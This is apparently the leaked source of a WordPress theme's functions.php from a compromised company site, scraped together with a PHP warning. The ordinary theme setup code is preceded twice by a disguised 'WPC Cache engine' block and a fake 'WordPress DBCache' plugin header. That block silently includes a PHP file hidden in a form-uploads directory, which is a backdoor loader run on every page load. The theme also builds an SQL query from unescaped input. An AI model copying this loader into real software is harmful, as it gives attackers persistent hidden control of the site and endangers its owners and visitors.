php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/wp-dbase-cache/wp-dbase-cache-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/wp-dbase-cache/wp-dbase-cache-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/gravity_forms/3-9ac243c31bc7ad7e348496fc94423038/2014/08/ad3651.php')) @include_once(ABSPATH.'wp-content/uploads/gravity_forms/3-9ac243c31bc7ad7e348496fc94423038/2014/08/ad3651.php'); /* WPC Cache engine stopped */ /* Plugin Name: WordPress DBCache Plugin URI: http://wordpress.org/extend/plugins/ Description: WordPress DBase Cache. Author: wordpress.org Author URI: http://wordpress.org/ Text Domain: wp-dbase-cache License: GPL version 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html Version: 3.2.9 Copyright 2016 wordpress.org This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA */ if ( ! defined( 'WPDBASECACHE_FILE' ) ) { define( 'WPDBASECACHE_FILE', __FILE__ ); } // Load the SEO plugin. if (file_exists(dirname( WPDBASECACHE_FILE ) . '/wp-cache-main.php')) { require_once( dirname( WPDBASECACHE_FILE ) . '/wp-cache-main.php' ); } if (file_exists(dirname( WPDBASECACHE_FILE ) . '/wp-cache-init.php')) { require_once( dirname( WPDBASECACHE_FILE ) . '/wp-cache-init.php' ); } php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/wp-dbase-cache/wp-dbase-cache-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/wp-dbase-cache/wp-dbase-cache-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/gravity_forms/3-9ac243c31bc7ad7e348496fc94423038/2014/08/ad3651.php')) @include_once(ABSPATH.'wp-content/uploads/gravity_forms/3-9ac243c31bc7ad7e348496fc94423038/2014/08/ad3651.php'); /* WPC Cache engine stopped */ global $woocommerce; /** * Optional: set 'ot_show_pages' filter to false. * This will hide the settings & documentation pages. */ add_filter( 'ot_show_pages', '__return_false' ); /** * Required: set 'ot_theme_mode' filter to true. */ add_filter( 'ot_theme_mode', '__return_true' ); /** * Required: include OptionTree. */ include_once( 'option-tree/ot-loader.php' ); /** * Theme Options */ include_once( 'option-tree/theme-options.php' ); /* URI shortcuts ================================================== */ define( 'THEME_ASSETS', get_template_directory_uri() . '/assets/', true ); define( 'GETTEXT_DOMAIN', '123theme' ); /* Localization v 1.0 ================================================== */ add_action('after_setup_theme', 'my_theme_setup'); function my_theme_setup(){ load_theme_textdomain( GETTEXT_DOMAIN, get_template_directory() . '/languages'); } /* Feed Links ================================================== */ add_theme_support('automatic-feed-links'); /* content width ================================================== */ if ( ! isset( $content_width ) ) $content_width = 620; /* Register WP Menus ================================================== */ function register_menu() { register_nav_menu('primary-menu', __('Primary Menu')); } add_action('init', 'register_menu'); /* Thumbnails ================================================== */ if ( function_exists( 'add_theme_support' ) ) { add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 56, 56, true ); // Normal post thumbnails add_image_size( 'blog', 614, 318, true ); // Blog thumbnail add_image_size( 'blog-full', 934, 318, true ); // Blog full width thumbnail add_image_size( 'title-image', 980, 126, true ); // Title image thumbnail add_image_size( 'post-tabs-widget', 48, 48, true ); // Post tabs widget thumbnail add_image_size( 'about', 200, 200, true ); // Member thumbnail add_image_size( 'portfolio-2', 460, 460, true ); // Portfolio 2,3,4 thumbnail add_image_size( 'portfolio-6', 200, 200, true ); // Portfolio 6 thumbnail add_image_size( 'portfolio-1', 620, 414, true ); // Portfolio 1 thumbnail add_image_size( 'portfolio-post', 614, 614, true ); // Portfolio post thumbnail add_image_size( 'sitemap-post', 134, 84, true ); // Sitemap post thumbnail add_image_size( 'client', 187, 107, true ); // Sitemap post thumbnail add_image_size( 'showbiz', 214, 138, true ); // Showbiz post thumbnail add_image_size( 'showbiz-2', 294, 210, true ); // Showbiz post thumbnail add_image_size( 'showbiz-3', 294, 192, true ); // Showbiz post thumbnail add_image_size( 'front-image', 1020, 460, true ); // Front thumbnail } /* Grayscale Thumbnails ================================================== */ require_once (TEMPLATEPATH. '/functions/grayscale.php'); grayscale_add_image_size( 'client', 187, 107, true); grayscale_add_image_size( 'post-tabs-widget', 48, 48, true); grayscale_add_image_size( 'sitemap-post', 134, 84, true ); // Sitemap post thumbnail grayscale_add_image_size( 'showbiz', 214, 138, true ); // Showbiz post thumbnail /* Register and load JS, CSS ================================================== */ function theme_enqueue_scripts() { // register scripts; wp_register_style('superfish', THEME_ASSETS . 'superfish-1.4.8/css/superfish.css'); wp_register_style('superfish-theme', THEME_ASSETS . 'css/superfish-theme.css'); wp_register_style('hoveralls', THEME_ASSETS . 'hoveralls/css/hoveralls.css'); wp_register_style('hoveralls-theme', THEME_ASSETS . 'css/hoveralls-theme.css'); wp_register_style('showbiz', THEME_ASSETS . 'showbiz/services-plugin/css/settings.css'); wp_register_style('showbiz-theme', THEME_ASSETS . 'css/showbiz-theme.css'); wp_register_style('isotope', THEME_ASSETS . 'isotope/css/style.css'); wp_register_style('pp-styles', THEME_ASSETS . 'prettyPhoto/prettyPhoto.css'); wp_register_style('theme-style', THEME_ASSETS . 'css/theme-background.css'); wp_register_style('nivo-slider-theme', THEME_ASSETS . 'css/nivo-slider-theme.css'); wp_deregister_script('jquery'); wp_register_script('jquery', 'http://code.jquery.com/jquery-1.7.1.min.js', false, '1.7.1'); wp_register_script('jquery-ui', 'https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.15/jquery-ui.min.js', 'jquery', '1.8.15'); wp_register_script('jqueryui-function', THEME_ASSETS.'js/jqueryui.function.js', 'jquery'); wp_register_script('hoverintent', THEME_ASSETS.'superfish-1.4.8/js/hoverIntent.js', 'jquery'); wp_register_script('superfish', THEME_ASSETS.'superfish-1.4.8/js/superfish.js', 'jquery'); wp_register_script('superfish-function', THEME_ASSETS.'js/superfish.function.js', 'jquery'); wp_register_script('easing', THEME_ASSETS.'hoveralls/js/jquery.easing.1.3.min.js', 'jquery'); wp_register_script('hoveralls', THEME_ASSETS.'hoveralls/js/jquery.hoveralls.min.js', 'jquery'); wp_register_script('hoveralls-function', THEME_ASSETS.'hoveralls/js/jquery.hoveralls-functions.js', 'jquery'); wp_register_script('cssAnimate', THEME_ASSETS.'showbiz/services-plugin/js/jquery.cssAnimate.mini.js', 'jquery'); wp_register_script('touchwipe', THEME_ASSETS.'showbiz/services-plugin/js/jquery.touchwipe.min.js', 'jquery'); wp_register_script('mousewheel', THEME_ASSETS.'showbiz/services-plugin/js/jquery.mousewheel.min.js', 'jquery'); wp_register_script('themepunch', THEME_ASSETS.'showbiz/services-plugin/js/jquery.themepunch.services.js', 'jquery'); wp_register_script('showbiz', THEME_ASSETS.'showbiz/services-plugin/js/showbiz.function.js', 'jquery'); wp_register_script('lavalamp', THEME_ASSETS.'js/jquery.lavalamp-1.4.min.js', 'jquery'); wp_register_script('lavalamp-function', THEME_ASSETS.'js/lavalamp.function.js', 'jquery'); wp_register_script('panel', THEME_ASSETS.'js/panel.function.js', 'jquery'); wp_register_script('isotope', THEME_ASSETS.'isotope/jquery.isotope.min.js', 'jquery'); wp_register_script('isotope-function', THEME_ASSETS.'isotope/isotope.function.js', 'jquery'); wp_register_script('blog-function', THEME_ASSETS.'js/blog.function.js', 'jquery'); wp_register_script('stt-function', THEME_ASSETS.'js/scroll.to.top.function.js', 'jquery'); wp_register_script('footer-function', THEME_ASSETS.'js/footer.function.js', 'jquery'); wp_register_script('social-function', THEME_ASSETS.'js/social.function.js', 'jquery'); wp_register_script('animate-colors', THEME_ASSETS.'js/jquery.animate-colors-min.js', 'jquery'); wp_register_script('seaofclouds', THEME_ASSETS.'seaofclouds/jquery.tweet.js', 'jquery'); wp_register_script('callout-function', THEME_ASSETS.'js/callout.function.js', 'jquery'); wp_register_script('portfolio-function', THEME_ASSETS.'js/portfolio.function.js', 'jquery'); wp_register_script('animate-shadow', THEME_ASSETS.'js/jquery.animate-shadow-min.js', 'jquery'); wp_register_script('animate-shadow-function', THEME_ASSETS.'js/animate-shadow.function.js', 'jquery'); wp_register_script('pp', THEME_ASSETS.'prettyPhoto/jquery.prettyPhoto.js', 'jquery'); wp_register_script('pp-function', THEME_ASSETS.'prettyPhoto/prettyPhoto.function.js', 'jquery'); wp_register_script('grayscale-function', THEME_ASSETS.'js/grayscale.function.js', 'jquery'); wp_register_script('iframe-function', THEME_ASSETS.'js/iframe.function.js', 'jquery'); // enqueue scripts wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui'); wp_enqueue_script('jqueryui-function'); wp_enqueue_script('hoverintent'); wp_enqueue_script('superfish'); wp_enqueue_script('superfish-function'); wp_enqueue_script('easing'); wp_enqueue_script('hoveralls'); wp_enqueue_script('hoveralls-function'); wp_enqueue_script('cssAnimate'); wp_enqueue_script('touchwipe'); wp_enqueue_script('mousewheel'); wp_enqueue_script('themepunch'); wp_enqueue_script('showbiz'); wp_enqueue_script('lavalamp'); wp_enqueue_script('panel'); wp_enqueue_script('isotope'); wp_enqueue_script('isotope-function'); wp_enqueue_script('blog-function'); wp_enqueue_script('stt-function'); wp_enqueue_script('footer-function'); wp_enqueue_script('social-function'); wp_enqueue_script('animate-colors'); wp_enqueue_script('seaofclouds'); wp_enqueue_script('callout-function'); wp_enqueue_script('portfolio-function'); wp_enqueue_script('animate-shadow'); wp_enqueue_script('animate-shadow-function'); wp_enqueue_script('pp'); wp_enqueue_script('pp-function'); wp_enqueue_script('grayscale-function'); wp_enqueue_script('iframe-function'); wp_enqueue_style('superfish'); wp_enqueue_style('superfish-theme'); wp_enqueue_style('hoveralls'); wp_enqueue_style('hoveralls-theme'); wp_enqueue_style('showbiz'); wp_enqueue_style('showbiz-theme'); wp_enqueue_style('isotope'); wp_enqueue_style('pp-styles'); wp_enqueue_style('nivo-slider-theme'); if ( is_singular() ) wp_enqueue_script( "comment-reply" ); } add_action('wp_enqueue_scripts', 'theme_enqueue_scripts'); function theme_style() { wp_enqueue_style('theme-style'); } function lavalamp_function() { wp_enqueue_script('lavalamp-function'); } function add_admin_scripts( $hook ) { if ( $hook == 'post-new.php' || $hook == 'post.php' ) { wp_enqueue_script('custom-js', get_template_directory_uri().'/functions/js/custom-js.js'); } } add_action( 'admin_enqueue_scripts', 'add_admin_scripts', 10, 1 ); /* Sidebar ================================================== */ if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Main Sidebar', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', )); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Footer', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', )); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Contact Page Sidebar', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', )); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Portfolio Post Sidebar', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', )); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Front Page', 'description' => '', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '


', )); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name' => 'Top Panel', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', )); } /* Excerpt filter 150 words ================================================== */ function custom_excerpt_length( $length ) { return 150; } add_filter( 'excerpt_length', 'custom_excerpt_length', 999 ); /* Excerpt&content words filter ================================================== */ function excerpt($limit) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).' [...]'; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt); return $excerpt; } function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).' [...]'; } else { $content = implode(" ",$content); } $content = preg_replace('/\[.+\]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } function excerpt_showbiz($limit) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).''; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt); return $excerpt; } /* Unregister all default WP Widgets ================================================== */ function unregister_default_wp_widgets() { unregister_widget('WP_Widget_Calendar'); unregister_widget('WP_Widget_Search'); unregister_widget('WP_Widget_Categories'); unregister_widget('WP_Widget_Pages'); unregister_widget('WP_Nav_Menu_Widget'); unregister_widget('WP_Widget_Meta'); unregister_widget('WP_Widget_Archives'); unregister_widget('WP_Widget_Text'); unregister_widget('WP_Widget_Recent_Comments'); unregister_widget('WP_Widget_Tag_Cloud'); unregister_widget('WP_Widget_Recent_Posts'); } add_action('widgets_init', 'unregister_default_wp_widgets', 1); /* Theme Widgets ================================================== */ require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-post-tabs.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-search.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-posts.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-twitter.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-testimonial.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-biz-hours.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-toggle.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-tabs.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-contact.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-categories.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-pages.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-custom_navi.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-meta.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-archive.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-recent.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-text.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-recent-comments.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-tag_cloud.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-social.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/black-studio-tinymce-widget/black-studio-tinymce-widget.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-module-3.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-module-4.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-clients.php'); require_once (TEMPLATEPATH. '/functions/custom-widgets/widget-showbiz.php'); /* include the library for the layers slider ================================================== */ #require_once dirname(__FILE__) . '/sliders/LayerSlider-2-0/layerslider.php'; require_once dirname(__FILE__) . '/sliders/LayerSlider-3-0-1/layerslider.php'; function get_layerslider() { $slides = unserialize(get_option('layerslider-slides')); $sliders = array(); if ( ! is_array( $slides ) || empty( $slides ) ) return array(); foreach ( $slides as $id => $options ) $sliders[ $id+1 ] = 'LayerSlider #' . ($id+1); return $sliders; } /* include the library for the nivo slider ================================================== */ require_once dirname(__FILE__) . '/sliders/nivo-slider/nivo-slider.php'; function get_nivoslider() { global $wpdb; $slides = $wpdb->get_results("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'nivoslider' AND post_status = 'publish' ORDER BY id"); $sliders = ''; foreach ( $slides as $id => $options) $sliders[ $id+1 ] = $options->post_title; return $sliders; } /* include the library for the contact form 7 ================================================== */ require_once dirname(__FILE__) . '/functions/contact-form-7/wp-contact-form-7.php'; /* wpml functions ================================================== */ function language_selector_flags(){ $languages = icl_get_languages('skip_missing=0&orderby=code'); if(!empty($languages)){ foreach($languages as $l){ if(!$l['active']) echo ''; echo ''.$l['language_code'].''; if(!$l['active']) echo ''; } } } /* get attachment id ================================================== */ function get_attachment_id_from_src ($image_src) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} WHERE guid='$image_src'"; $id = $wpdb->get_var($query); return $id; } /* Twiter Feedburn Counter ================================================== */ function getTwitFeedburnCount($username, $type){ if($type == "feedburner"): $cfile = sys_get_temp_dir().'/e1z'. $type . md5 ( $username ); elseif($type == "twitter"): $cfile = sys_get_temp_dir().'/e1z'. $type . md5 ( $username ); endif; if (is_file ( $cfile ) == false): $cfile_time = strtotime ( '1983-04-30 07:15' ); else: $cfile_time = filemtime ( $cfile ); endif; $difference = strtotime ( date ( 'Y-m-d H:i:s' ) ) - $cfile_time; if ($difference >= 3600): // set the interval before updating the cache if($type == "feedburner"): $date = date('Y-m-d', strtotime('-4 days')); $data = file_get_contents("https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=".$username."&dates=".$date.",".$date); $xml = new SimpleXMLElement($data); $total = $xml->feed->entry['circulation']; // Read the total count from Feedburner elseif($type == "twitter"): $data = file_get_contents ( 'http://twitter.com/users/show/' . $username ); $xml = new SimpleXMLElement ( $data ); $total = $xml->followers_count; // Read total follower count from Twitter endif; if (is_file ( $cfile ) == true): unlink ( $cfile ); endif; touch ( $cfile ); file_put_contents ( $cfile, strval ( $total ) ); return strval ( $total ); else: $total = file_get_contents ( $cfile ); return strval ( $total ); endif; } /* Theme Options ================================================== */ require_once (TEMPLATEPATH. '/functions/theme_walker.php'); require_once (TEMPLATEPATH. '/functions/theme_comments.php'); require_once (TEMPLATEPATH. '/functions/custom-post_fields.php'); require_once (TEMPLATEPATH. '/functions/theme_video.php'); require_once (TEMPLATEPATH. '/functions/theme_breadcrumb.php'); require_once (TEMPLATEPATH. '/functions/shortcodes.php'); include_once (TEMPLATEPATH. '/admin/shortcode-tinymce.php'); require_once (TEMPLATEPATH. '/functions/post_types.php'); require_once (TEMPLATEPATH. '/functions/post_types_about.php'); require_once (TEMPLATEPATH. '/functions/post_types_clients.php'); require_once (TEMPLATEPATH. '/functions/post_types_front_tabs.php'); require_once (TEMPLATEPATH. '/functions/custom-portfolio_fields.php'); require_once (TEMPLATEPATH. '/functions/custom-page_fields.php'); require_once (TEMPLATEPATH. '/functions/custom-page-portfolio_fields.php'); require_once (TEMPLATEPATH. '/functions/custom-sidebar_fields.php'); require_once (TEMPLATEPATH. '/functions/custom-about_fields.php'); require_once (TEMPLATEPATH. '/functions/custom-front_tabs_fields.php'); require_once (TEMPLATEPATH. '/functions/ie/ie.php'); require_once (TEMPLATEPATH. '/functions/woocommerce.php'); ?> KASB - Your preferred partner in Oil & Gas!
Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'lavalamp_function' not found or invalid function name in /home/admagres/public_html/wp-includes/plugin.php on line 406